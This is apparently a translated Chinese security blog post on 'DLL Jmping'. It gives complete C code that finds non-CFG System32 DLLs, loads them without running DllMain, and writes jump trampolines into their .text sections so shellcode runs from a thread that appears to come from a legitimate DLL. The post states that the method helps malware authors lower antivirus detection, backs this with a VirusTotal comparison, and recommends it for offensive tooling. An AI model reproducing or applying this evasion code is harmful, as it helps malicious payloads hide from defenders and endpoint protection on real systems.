Windows DLL Jmping:利用旧中空跳板隐藏恶意线程与降低检测率

本文详细介绍了在Windows系统中利用DLL Hollowing技术结合JOP链隐藏线程来源并降低恶意代码检测率的方法,包括动态查找目标DLL、检查CFG标志、写入跳转指令及实际测试效果。

DLL Jmping: Windows DLL 领域中的旧中空跳板

DLL Hollowing 是一种由来已久的技术,恶意软件作者使用它来实现内存支持的 shellcode。然而,像 CFG(控制流防护)和 XFG(扩展控制流防护)这样的防御机制使得实施此类技术变得极其困难。在最新的 Windows 版本中,默认启用了 WDAC(Windows Defender 应用程序控制)等控制措施,这为实施该技术的替代版本增加了额外的难度。

然而,Windows 系统上仍然存在一些 DLL,可以利用它们进行 DLL Hollowing,或者结合一些 JOP(跳转导向编程)来欺骗来自 Process Hacker 等工具的线程来源。本博客演示了如何动态定位此类 DLL 并使用它们来传递 payload。本文讨论的技术可以帮助恶意软件作者在目标系统上动态查找此类 DLL,并使用它们来伪装线程来源,同时拥有内存支持的 shellcode 以降低 payload 的检测率。

查找目标 DLL

要查找 DLL 列表,我们需要几个函数:

  • 一个递归遍历系统目录以查找所有 DLL 的函数。
  • 一个检查 DLL 是否可用于暂存 payload 传递的函数。

第一部分相当简单。我们使用一个函数递归搜索目录中的所有 DLL,如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
BOOL ListDLLsInDirectory(LPCTSTR directoryPath) {
    HANDLE hFind;
    WIN32_FIND_DATA findFileData;
    TCHAR searchPath[MAX_PATH];

    if (NULL == directoryPath) return FALSE;
    
    // 将目录路径与通配符搜索模式组合
    if (S_OK != StringCchPrintf(searchPath, MAX_PATH, TEXT("%s\\*"), directoryPath)) return FALSE;
    
    // 查找目录中的第一个文件
    hFind = FindFirstFile(searchPath, &findFileData);
    if (hFind == INVALID_HANDLE_VALUE) return FALSE;

    // 列出所有 DLL 文件
    do {
        if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            // 跳过 "." 和 ".." 目录
            if (_tcscmp(findFileData.cFileName, TEXT(".")) != 0 && _tcscmp(findFileData.cFileName, TEXT("..")) != 0) {
                // 递归列出子目录中的 DLL
                TCHAR subDirPath[MAX_PATH];
                if (S_OK != StringCchPrintf(subDirPath, MAX_PATH, TEXT("%s\\%s"), directoryPath, findFileData.cFileName)) {
                    FindClose(hFind);
                    return FALSE;
                }
                ListDLLsInDirectory(subDirPath);
            }
        }
        else {
            // 打印 DLL 文件名
            if (endsWithDll(findFileData.cFileName)) {
                // 检查 DLL 是否有效
                TCHAR dll_path[MAX_PATH] = { 0 };
                if (S_OK != StringCchPrintf(dll_path, MAX_PATH, TEXT("%s\\%s"), directoryPath, findFileData.cFileName)) {
                    FindClose(hFind);
                    return FALSE;
                }

                LPVOID txt_addr = CheckIfDllWorks(dll_path);
                if (txt_addr != NULL) {
                    size_t entry_size = sizeof(DLLInfo);
                    PDLLInfo entry = (PDLLInfo)malloc(entry_size);
                    RtlZeroMemory(entry, entry_size);
                    entry->txt_section = txt_addr;
                    memcpy(entry->dll_path, dll_path, MAX_PATH);

                    // 检查是否是第一个条目
                    if (LL_HEAD == NULL) LL_HEAD = entry;

                    // 设置最后一个条目的下一个指针
                    if (Current != NULL) Current->next = entry;

                    Current = entry;
                }
            }
        }
    } while (FindNextFile(hFind, &findFileData));

    // 关闭搜索句柄
    FindClose(hFind);

    return TRUE;
}

然后我们可以这样调用上述函数:

1
2
3
TCHAR systemDirectory[MAX_PATH];
GetSystemDirectory(systemDirectory, MAX_PATH);
ListDLLsInDirectory(systemDirectory);

该函数使用递归来定位系统文件夹(即 C:\Windows\System32)中的所有 DLL。一旦我们定位到一个 DLL 文件,我们就使用 CheckIfDllWorks 函数来验证该 DLL 是否可用于传递 payload(稍后会详细介绍)。

如果 DLL 可用于 payload 传递,那么我们将其添加到一个链表中,该链表包含要使用的 DLL 及其 .text 部分开头的地址。查看 CheckIfDllWorks() 函数,它具有以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
LPVOID CheckIfDllWorks(TCHAR* dll_path) {
    if (IsDllLoaded(dll_path)) return NULL;

    HMODULE hModule = LoadLibraryEx(dll_path, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (hModule == NULL) return NULL;
    
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule;
    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((DWORD_PTR)hModule + dosHeader->e_lfanew);

    // 检查 CFG
    if (ntHeaders->OptionalHeader.DllCharacteristics & IMAGE_DLLCHARACTERISTICS_GUARD_CF) {
        FreeLibrary(hModule);
        return NULL;
    }

    // 遍历节头
    IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sectionHeader++) {
    ULONG _txt_offset = 0;
		if (strncmp((char*)sectionHeader->Name, ".text", 5) == 0) {
			_txt_offset = sectionHeader->VirtualAddress;
			LPVOID txt_section = (LPVOID)((UINT64)hModule + _txt_offset);
			return txt_section;
		}
    }
    FreeLibrary(hModule);
    return NULL;
}

该函数检查三件事:

  1. DLL 是否已加载到内存中?如果没有,则进行下一个检查。
  2. DLL 是否启用了 CFG 编译?如果没有,则进行最终检查。
  3. DLL 是否有一个 .text 部分可以托管我们的代码?如果是,函数计算 .text 部分的偏移量并将其添加到基地址,以获取加载到内存中的 .text 部分的位置。

我想提到的一个有趣细节是,我们使用 LoadLibraryEx() 函数而不是 LoadLibrary() 函数,因为这使我们能够在不需要调用 DllMain() 的情况下将 DLL 加载到内存中。

最终,我们有一个链表,其中包含加载到进程内存中的 DLL,我们可以使用这些 DLL 将执行重定向到我们的 shellcode。

跳转到 Shellcode

现在对于 payload 传播部分,我们将在每个 .text 部分的开头写入以下指令:

1
2
mov rax <addr> ;  48 b8 <lil endian address>
call rax       ;  ff d0

该过程的代码如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
BOOL AddJmp(LPVOID jmp_tgt, LPVOID src) {
    size_t inst_size = 12 * sizeof(unsigned char);
    unsigned char* inst = (unsigned char*)malloc(inst_size);
    if (inst == NULL) return FALSE;

    RtlZeroMemory(inst, 12 * sizeof(unsigned char));
    inst[0] = 0x48;
    inst[1] = 0xb8;
    inst[10] = 0xff;
    inst[11] = 0xd0;
    int i = 2;
    uintptr_t bytes = (uintptr_t)(jmp_tgt);
    while (i < 10) {
        inst[i] = bytes & 0xFF;
        bytes = bytes >> 8;
        i++;
    }
    AllocatePayload(src, inst, inst_size);
    return TRUE;
}

LPVOID BackDoorDLL(LPVOID p_addr) {
    PDLLInfo entry = LL_HEAD;
    LPVOID tgt_addr = p_addr;

    while (entry != NULL) {
        if (!AddJmp(tgt_addr, entry->txt_section)) return NULL;
        tgt_addr = entry->txt_section;
        entry = entry->next;
    }
    return tgt_addr;
}

BackDoorDLL() 函数接收 shellcode 的地址。然后我们遍历链表并使用 AddJmp() 将指令的操作码写入 DLL 的 .text 部分的开头。最后,BackDoorDLL() 函数返回链开头的地址,然后我们可以将其传递给像 CreateThread() 这样的函数,最终导致 shellcode 的执行。

或者,如果 payload 的大小小于特定 DLL 的 VirtualSize,我们可以使用 DLL 甚至用 shellcode 覆盖 DLL 内存。

测试代码

编译并运行项目,我们应该看到我们的 Hello World MessageBox payload 被执行。

查看 Process Hacker 中的线程,我们看到线程的来源被反映为 pspluginwkr.dll 而不是二进制文件。

进一步在其中一个中间地址设置断点,确认链调用正在发生,并且按预期工作。

VirusTotal 比较

为了检查此方法的有效性,我们上传了两组 payload:

  • 一组直接调用 Shellcode
  • 一组使用上述方法

样本使用相同的未加密 payload,没有任何其他规避措施,并且使用相同的标志编译。

直接调用 payload 的样本返回了以下检测率:

然而,实施上述讨论的方法似乎显著降低了检测率:

因此,将本文中的方法纳入您的 Offsec 工具中是值得的。

结合其他规避技术,这里讨论的链式方法可以帮助 Offsec 开发人员创建更难以检测的 payload。祝黑客愉快!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计